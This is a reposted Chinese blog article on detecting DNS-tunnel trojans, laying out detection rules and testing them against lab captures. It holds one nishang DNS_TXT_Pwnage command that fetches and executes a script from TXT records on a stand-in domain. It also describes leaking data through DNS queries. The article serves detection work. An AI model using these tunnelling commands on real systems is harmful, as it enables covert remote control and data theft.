标签：www. 基于 nal work data dom 一个 shang 转换
摘自：http://www.freebuf.com/articles/network/149328.html
通过以上分析得出监控需要关注的几个要素：长域名、频率、txt类型、终端是否对解析ip发起访问、是否有全域名注册记录，推导检测逻辑如下：
方向1：特征检测：
检测窃密木马（无需更新和接收指令）： 【域名超长 or 频率高】 and 【终端无进程对返回的A记录（如有）发起访问】 and 【不存在全域名注册记录】
检测远控木马（需更新和接收指令）： 【域名超长 or 频率高】 and 【终端无进程对返回的A记录（如有）发起访问】 and 【不存在全域名注册记录】 and 【存在txt回包】
通用检测（可发现单次外传，存在浏览器预解析等误报，需结合其他特征确认）：
{【存在txt回包】and 【不存在全域名注册记录】} or {【终端无进程对返回的A记录（如有）发起访问】 and 【不存在全域名注册记录】}
方向2：基于外传量检测，发现正在进行的大量数据泄露（不分析细节，仅供参考，本次实验不涉及）：
单台机器检测： 域名长度（3+N级的域名） * 域名数量（相同只计算一个） > 单台机器阈值，评测外传数据大小，达到阈值则触发报警
群体事件检测： A机器域名长度（3+N级的域名）* A机器域名数量（相同只计算一个） + B +… > 多台机器阈值，评测外传数据大小，达到阈值则触发报警
为验证此方案的逻辑正确性，笔者实验如下：
1、直接运行xshell，触发dns行为
2、外传结果抓包：
3、检测逻辑匹配分析：
a) 外传域名超长
b) 频率较高
c) 类型为TXT，有回包
d) 无A记录解析结果，也就无程序对结果发起访问
e) 不存在全域名注册记录（黑客根据算法提前注册了部分域名，但全域名无注册信息）
结论：窃密木马+远控木马
1、利用powershell构造dns隧道
a) 编写一个最简单的一句话脚本，获取服务列表
b) 使用nishang的Out-NnsTxt将脚本GetServiceToTxt.ps1转换为txt记录
c) 在dns服务器建立对应txt记录（后续执行需按照1,2,3,4的顺序，所以建立记录名为1）
验证结果，ok
d) 使用nishang的DNS_TXT_Pwnage读取txt并执行（脚本自动在test.com前加1，向1.test.com请求txt记录作为脚本执行。不过笔者最终也没搞懂stopstring这个参数的原理，懂的朋友麻烦私信下，谢谢！ ），可正常获取服务列表。
命令和结果如下：
DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag
2、外传结果抓包：
使用Microsoft Network Monitor抓包分析
3、检测逻辑匹配分析：
a) 因实验未将结果外传，所以域名长度不大，如dns隧道外传则必使用长域名
b) 因实验未将结果外传，所以频率不高，且只获取远端的get-server功能，频率也不高，但要实现外传和获取更多功能（如mimikatz等），则必然需要高频率
c) 类型为TXT，有回包
d) 无A记录解析结果，也就无程序对结果发起访问
e) 此实验场景未覆盖外传数据，所以不涉及注册问题
结论：远控木马（实验功能较单一，扩展为大马则可精确覆盖检测特征）
1、 少量信息窃取和大量信息窃取
a) 单次少量信息窃取外传，简单利用windows命令（ping、nslookup等）即可窃取机器名
b) 多次大量信息窃取，编写脚本，搜索文档（word、excel、ppt），并外传文件名(此脚本360 未报警)，vbs脚本内容如下 (代码未充分验证，不保证无错误，中文支持或读文件内容请自行修改)：
2、外传结果展示：
a) 单次少量信息窃取外传
b) 多次大量信息窃取
3、检测逻辑匹配分析：
a) 利用A记录外传，非txt回包，长度不超长（实验原因，未充分利用域名长度），但频率较高，解析过程未发现异常（但此截图为8.8.8.8，非系统dns存在一定风险）
b) 对解析A记录结果无后续访问
c) 不存在全域名注册记录
结论：窃取数据木马
一次误报引发的DNS检测方案的思考：DNS隧道检测平民解决方案
标签：www. 基于 nal work data dom 一个 shang 转换
原文地址：http://www.cnblogs.com/bonelee/p/7651606.html
